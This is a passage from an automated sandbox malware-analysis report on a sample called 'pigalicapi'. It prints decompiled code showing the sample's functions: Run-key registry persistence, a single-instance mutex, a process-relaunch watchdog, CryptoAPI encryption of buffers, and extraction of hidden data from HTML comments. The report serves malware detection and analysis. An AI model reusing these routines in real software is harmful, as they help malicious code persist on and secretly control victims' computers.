VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00EC7A4B
inet_ntoa.WS2_32(?), ref: 00EC7A90
wnsprintfA.SHLWAPI ref: 00EC7ABC

Strings

%s:%u, xrefs: 00EC7AAB
Topdawabe, xrefs: 00EC79C5

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Crypt$ContextVirtual$AcquireAllocDestroyImport$CloseDecryptErrorFreeLastOpenQueryReleaseValueinet_ntoawnsprintf
String ID: %s:%u$Topdawabe
API String ID: 1891311255-2787945377
Opcode ID: b10b82503e492ad0e26ac88dd72df800b17345fc6e8adf34af8635a52f8ebc4b
Instruction ID: fc8e1081f5894f65223333562e121e31d912006a22fb1d58952a9364a6446b1b
Opcode Fuzzy Hash: b10b82503e492ad0e26ac88dd72df800b17345fc6e8adf34af8635a52f8ebc4b
Instruction Fuzzy Hash: 55414CB1E04208EFEB04DB94CD86FEEBBB5EB48704F148059E605BB280D7759A45CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00EC4AC0 Relevance: 12.1, APIs: 8, Instructions: 68
sleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00EC4AC0(intOrPtr _a4) {
				intOrPtr _v8;
				long _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _t31;
				void* _t50;

				_v8 = _a4;
				if(_v8 != 0) {
					__imp__CoInitialize(0);
					L2:
					while(1) {
						if( *((intOrPtr*)(_v8 + 8)) <= 0 || WaitForSingleObject( *(_v8 + 0x24), 0x64) != 0x102) {
							L6:
							Sleep(0x1388); // executed
							continue;
						}
						EnterCriticalSection(_v8 + 0xc);
						_v20 = 0;
						_v12 = 0;
						_t31 = E00EC8250( *((intOrPtr*)(_v8 + 4)),  *((intOrPtr*)(_v8 + 8)),  &_v20,  &_v12); // executed
						_t50 = _t50 + 0x10;
						_v16 = _t31;
						LeaveCriticalSection(_v8 + 0xc);
						if(_v16 <= 0) {
							goto L6;
						}
						E00EC62B0(_v20, _v16); // executed
						VirtualFree(_v20, 0, 0x8000); // executed
						SetEvent( *(_v8 + 0x24));
						__imp__CoUninitialize();
						goto L8;
					}
				}
				L8:
				return 0;
			}

0x00ec4ac9
0x00ec4ad0
0x00ec4ad8
0x00000000
0x00ec4ade
0x00ec4ae5
0x00ec4b80
0x00ec4b85
0x00000000
0x00ec4b85
0x00ec4b08
0x00ec4b0e
0x00ec4b15
0x00ec4b32
0x00ec4b37
0x00ec4b3a
0x00ec4b44
0x00ec4b4e
0x00000000
0x00000000
0x00ec4b58
0x00ec4b6b
0x00ec4b78
0x00ec4b90
0x00000000
0x00ec4b90
0x00ec4ade
0x00ec4b96
0x00ec4b9b

APIs

CoInitialize.OLE32(00000000), ref: 00EC4AD8
WaitForSingleObject.KERNEL32(?,00000064), ref: 00EC4AF4
EnterCriticalSection.KERNEL32(-0000000C), ref: 00EC4B08
LeaveCriticalSection.KERNEL32(-0000000C), ref: 00EC4B44
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00EC4B6B
SetEvent.KERNEL32(?), ref: 00EC4B78
Sleep.KERNEL32(00001388), ref: 00EC4B85
CoUninitialize.OLE32 ref: 00EC4B90

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterEventFreeInitializeLeaveObjectSingleSleepUninitializeVirtualWait
String ID:
API String ID: 3462651527-0
Opcode ID: f0f28cd5d3ffaf718e38f02d1e8a9a2f82c8597682994d549c65c06a113e0c30
Instruction ID: c5c46a4c04c085a437679692afb1f2614160567d59eab800b4596ad3c2dd42c5
Opcode Fuzzy Hash: f0f28cd5d3ffaf718e38f02d1e8a9a2f82c8597682994d549c65c06a113e0c30
Instruction Fuzzy Hash: 3F219DB4900208EFC704DFA4DA59FAEB7B9EB48305F208558E509B7291D732EE46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EC77B0 Relevance: 10.6, APIs: 7, Instructions: 80
sleepCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00EC77B0(void** _a4) {
				void** _v8;
				intOrPtr _v12;
				long _v16;
				long _v20;
				long _v24;
				void** _v28;
				int _t37;
				void* _t40;
				void* _t60;

				if(_a4 != 0) {
					__imp__CoInitialize(0);
					_v12 = 0x96;
					_v16 = 0x1388;
					_v8 = _a4;
					if( *_v8 != 0) {
						_v20 = 0;
						while(_v20 < 0x96) {
							_v24 = 0;
							_t37 = GetExitCodeProcess(_v8[3],  &_v24); // executed
							if(_t37 == 0) {
							} else {
								if(_v24 != 0x103) {
									CloseHandle(_v8[3]);
									Sleep(0x7530);
									_t40 = E00EC2070( *_v8);
									_t60 = _t60 + 4;
									_v8[3] = _t40;
									if(_v8[3] != 0) {
										_v20 = _v20 + 1;
										if((_v8[2] & 0x00000004) != 0) {
											E00EC2510(_v8[3], 0xece290);
											_t60 = _t60 + 8;
										}
										goto L11;
									} else {
									}
								} else {
									Sleep(0x1388); // executed
									L11:
									continue;
								}
							}
							break;
						}
						VirtualFree( *_v8, 0, 0x8000);
						_v28 = _v8;
						E00EC97C0(_v28);
					}
					__imp__CoUninitialize();
				}
				return 0;
			}

0x00ec77ba
0x00ec77c2
0x00ec77c8
0x00ec77cf
0x00ec77d9
0x00ec77e2
0x00ec77e8
0x00ec77ef
0x00ec77fc
0x00ec780e
0x00ec7816
0x00ec7818
0x00ec781f
0x00ec7835
0x00ec7840
0x00ec784c
0x00ec7851
0x00ec7857
0x00ec7861
0x00ec786d
0x00ec7879
0x00ec7887
0x00ec788c
0x00ec788c
0x00000000
0x00000000
0x00ec7863
0x00ec7821
0x00ec7826
0x00ec788f
0x00000000
0x00ec7893
0x00ec781f
0x00000000
0x00ec7816
0x00ec78a5
0x00ec78ae
0x00ec78b5
0x00ec78ba
0x00ec78bd
0x00ec78bd
0x00ec78c8

APIs

CoInitialize.OLE32(00000000), ref: 00EC77C2
GetExitCodeProcess.KERNEL32 ref: 00EC780E
Sleep.KERNEL32(00001388), ref: 00EC7826
CloseHandle.KERNEL32(00001388), ref: 00EC7835
Sleep.KERNEL32(00007530), ref: 00EC7840
VirtualFree.KERNEL32(00000096,00000000,00008000), ref: 00EC78A5
CoUninitialize.OLE32 ref: 00EC78BD

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Sleep$CloseCodeExitFreeHandleInitializeProcessUninitializeVirtual
String ID:
API String ID: 2326833528-0
Opcode ID: 5eba55635887c23239e5372450d1c8fe373356212b9ad8e3bfefb0c117b76510
Instruction ID: 564af57bb4fd061b59c9b682bf3a48412b717ac1df21d52f47a39066223824d4
Opcode Fuzzy Hash: 5eba55635887c23239e5372450d1c8fe373356212b9ad8e3bfefb0c117b76510
Instruction Fuzzy Hash: 7F318C75904209EFDB04CFA0DA49FAEB7B1FB48305F208568E509B7290D7729E46DF91

Uniqueness

Uniqueness Score: -1.00%

Function 00EC5CD0 Relevance: 10.6, APIs: 7, Instructions: 72
filememorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC5CD0(CHAR* _a4) {
				long _v8;
				void* _v12;
				long _v16;
				void* _v20;
				long _v24;
				void* _t29;
				void* _t34;

				_v8 = 0;
				if(_a4 != 0 && lstrlenA(_a4) >= 4) {
					_t29 = CreateFileA(_a4, 0x80000000, 7, 0, 3, 0x80, 0); // executed
					_v12 = _t29;
					if(_v12 != 0xffffffff) {
						_v16 = GetFileSize(_v12, 0);
						if(_v16 > 0) {
							_t34 = VirtualAlloc(0, _v16, 0x3000, 4); // executed
							_v20 = _t34;
							if(_v20 != 0) {
								_v24 = 0;
								ReadFile(_v12, _v20, _v16,  &_v24, 0); // executed
								if(_v24 == _v16) {
									_v8 = E00EC16F0(_v20, _v16);
								}
								VirtualFree(_v20, 0, 0x8000); // executed
							}
						}
						FindCloseChangeNotification(_v12); // executed
					}
				}
				return _v8;
			}

0x00ec5cd6
0x00ec5ce1
0x00ec5d10
0x00ec5d16
0x00ec5d1d
0x00ec5d2f
0x00ec5d36
0x00ec5d45
0x00ec5d4b
0x00ec5d52
0x00ec5d54
0x00ec5d6d
0x00ec5d79
0x00ec5d8b
0x00ec5d8b
0x00ec5d99
0x00ec5d99
0x00ec5d52
0x00ec5da3
0x00ec5da3
0x00ec5d1d
0x00ec5daf

APIs

lstrlenA.KERNEL32(00000000), ref: 00EC5CEB
CreateFileA.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00EC5D10
GetFileSize.KERNEL32(000000FF,00000000), ref: 00EC5D29
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00EC5D45
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 00EC5D6D
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00EC5D99
FindCloseChangeNotification.KERNEL32(000000FF), ref: 00EC5DA3

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: File$Virtual$AllocChangeCloseCreateFindFreeNotificationReadSizelstrlen
String ID:
API String ID: 443218420-0
Opcode ID: ab398c0a0cb204cae2e783aeb63e5be15e60270d76e44f6bc344dd82bfd75ccd
Instruction ID: 64ed02a689a2ca59460b80699721f2576cff0b7111bccec9eaa3eeab132093c5
Opcode Fuzzy Hash: ab398c0a0cb204cae2e783aeb63e5be15e60270d76e44f6bc344dd82bfd75ccd
Instruction Fuzzy Hash: ED21FB75A00208FFDB10DBA5CD49FAE7B74AB48705F208558F619B72C0C775AA85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EC12D0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57
registrysleepstringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC12D0(CHAR* _a4) {
				CHAR* _v8;
				char* _v12;
				CHAR* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				long _t26;

				_v8 = _a4;
				if(_v8 != 0) {
					_v16 = _v8;
					_v12 = "software\\microsoft\\windows\\currentversion\\run";
					while( *0xed4370 == 0) {
						_v20 = 0x80000001;
						if(( *(_v8 + 0x30c) & 0x000000ff) != 0) {
							_v20 = 0x80000002;
						}
						_v24 = 0;
						_t26 = RegOpenKeyExA(_v20, _v12, 0, 0xf003f,  &_v24); // executed
						if(_t26 == 0) {
							_v28 = lstrlenA(_v16);
							RegSetValueExA(_v24, _v8 + 0x208, 0, 1, _v16, _v28); // executed
							RegCloseKey(_v24); // executed
						}
						Sleep(0x1388); // executed
					}
				}
				return 0;
			}

0x00ec12d9
0x00ec12e0
0x00ec12e9
0x00ec12ec
0x00ec12f3
0x00ec1301
0x00ec1314
0x00ec1316
0x00ec1316
0x00ec131d
0x00ec1337
0x00ec133f
0x00ec134b
0x00ec1368
0x00ec1372
0x00ec1372
0x00ec137d
0x00ec137d
0x00ec12fc
0x00ec138d

APIs

RegOpenKeyExA.KERNEL32(80000001,software\microsoft\windows\currentversion\run,00000000,000F003F,00000000), ref: 00EC1337
lstrlenA.KERNEL32(?), ref: 00EC1345
RegSetValueExA.KERNELBASE(00000000,-00000208,00000000,00000001,?,?), ref: 00EC1368
RegCloseKey.KERNEL32(00000000), ref: 00EC1372
Sleep.KERNEL32(00001388), ref: 00EC137D

Strings

software\microsoft\windows\currentversion\run, xrefs: 00EC12EC, 00EC1332

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: CloseOpenSleepValuelstrlen
String ID: software\microsoft\windows\currentversion\run
API String ID: 3411147897-1396020897
Opcode ID: 0d3688bba5d2f33d316b2d1606871ef4308ecd2d92fb3535f5e2d4e30f536e8d
Instruction ID: 9a3ab529f1f3b344f786ee342d205f501db77e8bdc1c8a8aff881134cca78655
Opcode Fuzzy Hash: 0d3688bba5d2f33d316b2d1606871ef4308ecd2d92fb3535f5e2d4e30f536e8d
Instruction Fuzzy Hash: 7A213D70A00209EFDB04CFE9C949FAEBBB4FB45304F20419CE605B7291D7729A46DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EC5B50 Relevance: 8.9, APIs: 7, Instructions: 124
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC5B50(CHAR* _a4, char* _a8, intOrPtr* _a12, intOrPtr* _a16) {
				void* _v8;
				void* _v12;
				signed int _v16;
				long _v20;
				void* _v24;
				int _v28;
				int _v32;
				char* _v36;
				char* _v40;
				void* _v44;
				void* _t69;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0) {
					_v32 = lstrlenA(_a8);
					_v28 = lstrlenA(_a4);
					_v24 = 0;
					_v16 = 0;
					while(_v24 < _v28) {
						_v36 = StrStrIA( &(_a4[_v24]), _a8);
						if(_v36 != 0) {
							_v16 = _v16 + 1;
							_v24 = _v36 - _a4 + _v32;
							continue;
						}
						break;
					}
					_v20 = _v16 * 0x28;
					_t69 = VirtualAlloc(0, _v20, 0x3000, 4); // executed
					_v12 = _t69;
					if(_v12 != 0) {
						_v24 = 0;
						_v16 = 0;
						while(_v24 < _v28) {
							_v40 = StrStrIA( &(_a4[_v24]), _a8);
							if(_v40 != 0) {
								lstrcpynA(_v12 + _v16 * 0x28,  &(_a4[_v24]), _v40 -  &(_a4[_v24]) + 1);
								_v24 = _v40 - _a4 + _v32;
								_v16 = _v16 + 1;
								_v8 = _v8 + 1;
								 *_a12 = _v12;
								continue;
							}
							break;
						}
						if(_a16 != 0) {
							_v44 = VirtualAlloc(0, _v20, 0x3000, 4);
							if(_v44 != 0) {
								E00EC7B70(_v44, _v12, _v20);
								 *_a16 = _v44;
							}
						}
					}
				}
				return _v8;
			}

0x00ec5b56
0x00ec5b61
0x00ec5b85
0x00ec5b92
0x00ec5b95
0x00ec5b9c
0x00ec5ba3
0x00ec5bbc
0x00ec5bc3
0x00ec5bcb
0x00ec5bd7
0x00000000
0x00ec5bde
0x00000000
0x00ec5bc3
0x00ec5be6
0x00ec5bf6
0x00ec5bfc
0x00ec5c03
0x00ec5c09
0x00ec5c10
0x00ec5c17
0x00ec5c30
0x00ec5c37
0x00ec5c59
0x00ec5c68
0x00ec5c71
0x00ec5c7a
0x00ec5c87
0x00000000
0x00ec5c87
0x00000000
0x00ec5c37
0x00ec5c8f
0x00ec5ca4
0x00ec5cab
0x00ec5cb9
0x00ec5cc7
0x00ec5cc7
0x00ec5cab
0x00ec5c8f
0x00ec5c03
0x00ec5ccf

APIs

lstrlenA.KERNEL32(00000000), ref: 00EC5B7F
lstrlenA.KERNEL32(00000000), ref: 00EC5B8C
StrStrIA.SHLWAPI(00000000,00000000), ref: 00EC5BB6
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00EC5BF6
StrStrIA.SHLWAPI(00000000,00000000), ref: 00EC5C2A
lstrcpynA.KERNEL32(00000000,00000000,-00000001), ref: 00EC5C59
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00EC5C9E

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: AllocVirtuallstrlen$lstrcpyn
String ID:
API String ID: 808621155-0
Opcode ID: e69628448784b44976afa4964976c71d8cd042974db48283c96881fefef176d7
Instruction ID: 3518a33d24b9a14d68a3992c435f1c24fa51228c94a7acfbbd14b09d3af23757
Opcode Fuzzy Hash: e69628448784b44976afa4964976c71d8cd042974db48283c96881fefef176d7
Instruction Fuzzy Hash: 0451D771900609EFCB04CF94C994FEEBBB5BF48309F249159E505B7284C376AA85CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00EC6CF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC6CF0() {
				char _v5;
				void* _v12;
				void* _v16;
				int _v20;
				int _v24;
				long _v28;
				char _v60;
				long _t21;
				long _t24;
				char* _t26;
				char* _t30;
				char* _t32;

				_v5 = 0;
				_v12 = 0x80000001;
				if(( *0xed435a & 0x000000ff) != 0) {
					_v12 = 0x80000002;
				}
				_v16 = 0;
				_t32 =  *0xed18a0; // 0xed3b88
				_t21 = RegOpenKeyExA(_v12, _t32, 0, 0xf003f,  &_v16); // executed
				if(_t21 == 0) {
					_v24 = 0x20;
					_v20 = 3;
					_t30 =  *0xed1890; // 0xed3fa6
					_t24 = RegQueryValueExA(_v16, _t30, 0,  &_v20,  &_v60,  &_v24); // executed
					_v28 = _t24;
					if(_v28 == 0) {
						_v5 = 1;
						_t26 =  *0xed1890; // 0xed3fa6
						RegDeleteValueA(_v16, _t26);
					}
					RegCloseKey(_v16);
				}
				return _v5;
			}

0x00ec6cf6
0x00ec6cfa
0x00ec6d0a
0x00ec6d0c
0x00ec6d0c
0x00ec6d13
0x00ec6d25
0x00ec6d30
0x00ec6d38
0x00ec6d3a
0x00ec6d41
0x00ec6d56
0x00ec6d61
0x00ec6d67
0x00ec6d6e
0x00ec6d70
0x00ec6d74
0x00ec6d7e
0x00ec6d7e
0x00ec6d88
0x00ec6d88
0x00ec6d94

APIs

RegOpenKeyExA.KERNEL32(80000001,00ED3B88,00000000,000F003F,00000000), ref: 00EC6D30
RegQueryValueExA.KERNEL32(00000000,00ED3FA6,00000000,00000003,?,00000020), ref: 00EC6D61
RegDeleteValueA.ADVAPI32(00000000,00ED3FA6), ref: 00EC6D7E
RegCloseKey.ADVAPI32(00000000), ref: 00EC6D88

Strings

, xrefs: 00EC6D3A

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Value$CloseDeleteOpenQuery
String ID:
API String ID: 647993726-3916222277
Opcode ID: 3c160df4aec8074b8a813ee681862e426fe0ed8f49bb3220b05756112af09756
Instruction ID: b748d40d95ca72d4617cb9c514a9b6d2c880c104e11ec7e46b38bbc53712cb27
Opcode Fuzzy Hash: 3c160df4aec8074b8a813ee681862e426fe0ed8f49bb3220b05756112af09756
Instruction Fuzzy Hash: E8113075900248AFDB04DFE5D849FBFBBB8EB48304F14418CE515B7240D776560ACBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EC8370 Relevance: 7.7, APIs: 6, Instructions: 191
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC8370(intOrPtr _a4, long _a8, char _a12, intOrPtr _a16) {
				long _v8;
				void* _v12;
				void* _v16;
				long _v20;
				long _v24;
				intOrPtr _v28;
				void* _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr* _v56;
				long _v60;
				void* _t79;
				void* _t80;
				void* _t85;
				void* _t90;
				void* _t94;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0 || _a16 < _a8) {
					L17:
					return _v8;
				} else {
					_t79 = VirtualAlloc(0, 0x1000, 0x3000, 4); // executed
					_v16 = _t79;
					_t80 = VirtualAlloc(0, 0x1000, 0x3000, 4); // executed
					_v12 = _t80;
					if(_v16 != 0 && _v12 != 0) {
						_v24 = 0x1000;
						_v20 = 0x1000;
						_t85 = E00EC8800(_v16,  &_v24, _v12,  &_v20, 0xed3378, 0x94); // executed
						if(_t85 != 0) {
							_t21 = _a8 + 0x10; // 0x1010
							_v28 = _v20 + _t21;
							_t170 = _a16 - _v28;
							if(_a16 >= _v28) {
								_v40 = E00EC8770(_t170, 0xa);
								_v36 = E00EC87D0(0xffffffff);
								_t90 = VirtualAlloc(0, _a8, 0x3000, 4); // executed
								_v32 = _t90;
								if(_v32 != 0) {
									_v44 = _a8;
									E00EC7B70(_v32, _a4, _a8);
									_t94 = E00EC8970(_v32,  &_v44, _v16, _v24); // executed
									if(_t94 != 0) {
										_v48 = _a12;
										E00EC85D0( &_v48,  &_v40, 4);
										E00EC85D0( &_v48,  &_v36, 4);
										_v60 = 0;
										_v56 = _v48;
										E00EC85D0( &_v48,  &_v60, 4);
										_v52 = _v48;
										E00EC85D0( &_v48,  &_v20, 4);
										E00EC85D0( &_v48, _v12, _v20);
										E00EC8650(_v36, _v52, _v48 - _v52, _v36);
										E00EC85D0( &_v48, _v32, _v44);
										 *_v56 = E00EC16F0(_a12 + 0xc, _v48 - _a12 + 0xc);
										_v8 = _v48 - _a12;
									}
									VirtualFree(_v32, 0, 0x8000); // executed
								}
							}
						}
					}
					if(_v16 != 0) {
						VirtualFree(_v16, 0, 0x8000); // executed
					}
					if(_v12 != 0) {
						VirtualFree(_v12, 0, 0x8000); // executed
					}
					goto L17;
				}
			}

0x00ec8376
0x00ec8381
0x00ec85c0
0x00ec85c6
0x00ec83b1
0x00ec83bf
0x00ec83c5
0x00ec83d6
0x00ec83dc
0x00ec83e3
0x00ec83f3
0x00ec83fa
0x00ec841b
0x00ec8425
0x00ec8431
0x00ec8435
0x00ec843b
0x00ec843e
0x00ec844e
0x00ec845b
0x00ec846b
0x00ec8471
0x00ec8478
0x00ec8481
0x00ec8490
0x00ec84a8
0x00ec84b2
0x00ec84bb
0x00ec84c8
0x00ec84da
0x00ec84e2
0x00ec84ec
0x00ec84f9
0x00ec8504
0x00ec8511
0x00ec8525
0x00ec853c
0x00ec8550
0x00ec8576
0x00ec857e
0x00ec857e
0x00ec858c
0x00ec858c
0x00ec8478
0x00ec843e
0x00ec8425
0x00ec8596
0x00ec85a3
0x00ec85a3
0x00ec85ad
0x00ec85ba
0x00ec85ba
0x00000000
0x00ec85ad

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00003000,00000004), ref: 00EC83BF
VirtualAlloc.KERNEL32(00000000,00001000,00003000,00000004), ref: 00EC83D6
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00EC846B

Part of subcall function 00EC8970: CryptAcquireContextA.ADVAPI32(00000000,00ECC6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 00EC89BF
Part of subcall function 00EC8970: GetLastError.KERNEL32 ref: 00EC89C9
Part of subcall function 00EC8970: CryptAcquireContextA.ADVAPI32(00000000,00ECC6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 00EC89F8
Part of subcall function 00EC8970: CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 00EC8A1F
Part of subcall function 00EC8970: CryptEncrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 00EC8A41
Part of subcall function 00EC8970: CryptDestroyKey.ADVAPI32(00000000), ref: 00EC8A4E
Part of subcall function 00EC8970: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 00EC8A5A

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00EC858C
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00EC85A3
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00EC85BA

Part of subcall function 00EC8800: CryptAcquireContextA.ADVAPI32(00000000,00ECC6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000,00EC8420,00000000,00001000,00000000), ref: 00EC883B
Part of subcall function 00EC8800: GetLastError.KERNEL32 ref: 00EC8845
Part of subcall function 00EC8800: CryptAcquireContextA.ADVAPI32(00000000,00ECC6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 00EC8874
Part of subcall function 00EC8800: CryptGenKey.ADVAPI32(00000000,00006801,?,00000000), ref: 00EC88AF
Part of subcall function 00EC8800: CryptExportKey.ADVAPI32(00000000,00000000,00000008,00000000,00000000,00000000), ref: 00EC88CF
Part of subcall function 00EC8800: CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,?), ref: 00EC890C
Part of subcall function 00EC8800: CryptExportKey.ADVAPI32(00000000,?,00000001,00000000,00000000,00000000), ref: 00EC892A
Part of subcall function 00EC8800: CryptDestroyKey.ADVAPI32(?), ref: 00EC8937

Part of subcall function 00EC87D0: QueryPerformanceCounter.KERNEL32(?), ref: 00EC87E7

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Crypt$Virtual$Context$Acquire$AllocFree$DestroyErrorExportImportLast$CounterEncryptPerformanceQueryRelease
String ID:
API String ID: 487564122-0
Opcode ID: ec3120b91727520d7fddf8cb47c0c067dc02b412bdb149cd04dbc4be7541d115
Instruction ID: 8c2d3345326ebf57c907118ca61df5d724ed694390ef6eca8b1cb49f5ea98c5b
Opcode Fuzzy Hash: ec3120b91727520d7fddf8cb47c0c067dc02b412bdb149cd04dbc4be7541d115
Instruction Fuzzy Hash: 79715EB5D00208AFDB04DFA4DE45FEEB7B4BB48304F148119FA15B7280EB75AA45CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00EC5E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC5E00() {

				CreateMutexA(0, 0, "pigalicapi"); // executed
				return 0 | GetLastError() == 0x000000b7;
			}

0x00ec5e0c
0x00ec5e25

APIs

CreateMutexA.KERNEL32(00000000,00000000,pigalicapi,?,00EC3BEB), ref: 00EC5E0C
GetLastError.KERNEL32(?,00EC3BEB), ref: 00EC5E12

Strings

pigalicapi, xrefs: 00EC5E03

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: CreateErrorLastMutex
String ID: pigalicapi
API String ID: 1925916568-2184165135
Opcode ID: b7e657a96f45c3c97098f69308eeb7100683d42d1ab82c8f07d8b58ad6a7e281
Instruction ID: 1e52d96aefd2503d974c6886655ad998e41a2ef3f6889695a866cbc360f75fe1
Opcode Fuzzy Hash: b7e657a96f45c3c97098f69308eeb7100683d42d1ab82c8f07d8b58ad6a7e281
Instruction Fuzzy Hash: DBC08C362843146FE2001773ED4BF493AA8C710F81F640031F10EF55E2898260468B27

Uniqueness

Uniqueness Score: -1.00%

Function 00EC8250 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC8250(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v13;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char* _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				char _t48;
				intOrPtr _t51;
				intOrPtr _t58;
				char _t63;
				void* _t77;
				void* _t78;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0 && _a16 != 0) {
					_v12 = 0;
					_v20 = _a4;
					_v13 = 0;
					while(_v12 < _a8 - 0xa && (_v13 & 0x000000ff) == 0) {
						_t48 = "<!--"; // 0x2d2d213c
						_v32 = _t48;
						_t63 =  *0xecc700; // 0x0
						_v28 = _t63;
						_t51 = E00EC7AF0(_v20 + _v12, _a8 - _v12,  &_v32, 4);
						_t78 = _t77 + 0x10;
						_v24 = _t51;
						if(_v24 == 0) {
						} else {
							_v12 = _v24 - _a4;
							_t28 = _v12 + 4; // 0x4
							_v36 = StrStrA(_v20 + _t28, "-->");
							if(_v36 != 0) {
								_v44 = _v36 - _v24 - 4;
								_t58 = E00EC8090(_v24 + 4, _v44, _a12, _a16); // executed
								_t77 = _t78 + 0x10;
								_v40 = _t58;
								if(_v40 > 0) {
									_v13 = 1;
									_v8 = _v40;
								}
								_v12 = _v12 + 4;
								continue;
							}
						}
						goto L16;
					}
				}
				L16:
				return _v8;
			}

0x00ec8256
0x00ec8261
0x00ec8285
0x00ec828f
0x00ec8292
0x00ec8296
0x00ec82b1
0x00ec82b6
0x00ec82b9
0x00ec82bf
0x00ec82d6
0x00ec82db
0x00ec82de
0x00ec82e5
0x00ec82e7
0x00ec82ed
0x00ec82fb
0x00ec8306
0x00ec830d
0x00ec8318
0x00ec832e
0x00ec8333
0x00ec8336
0x00ec833d
0x00ec833f
0x00ec8346
0x00ec8346
0x00ec834f
0x00000000
0x00ec835a
0x00ec830d
0x00000000
0x00ec82e5
0x00ec8296
0x00ec835f
0x00ec8365

APIs

StrStrA.SHLWAPI(00000004,-->), ref: 00EC8300

Part of subcall function 00EC8090: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00EC80D8

Strings

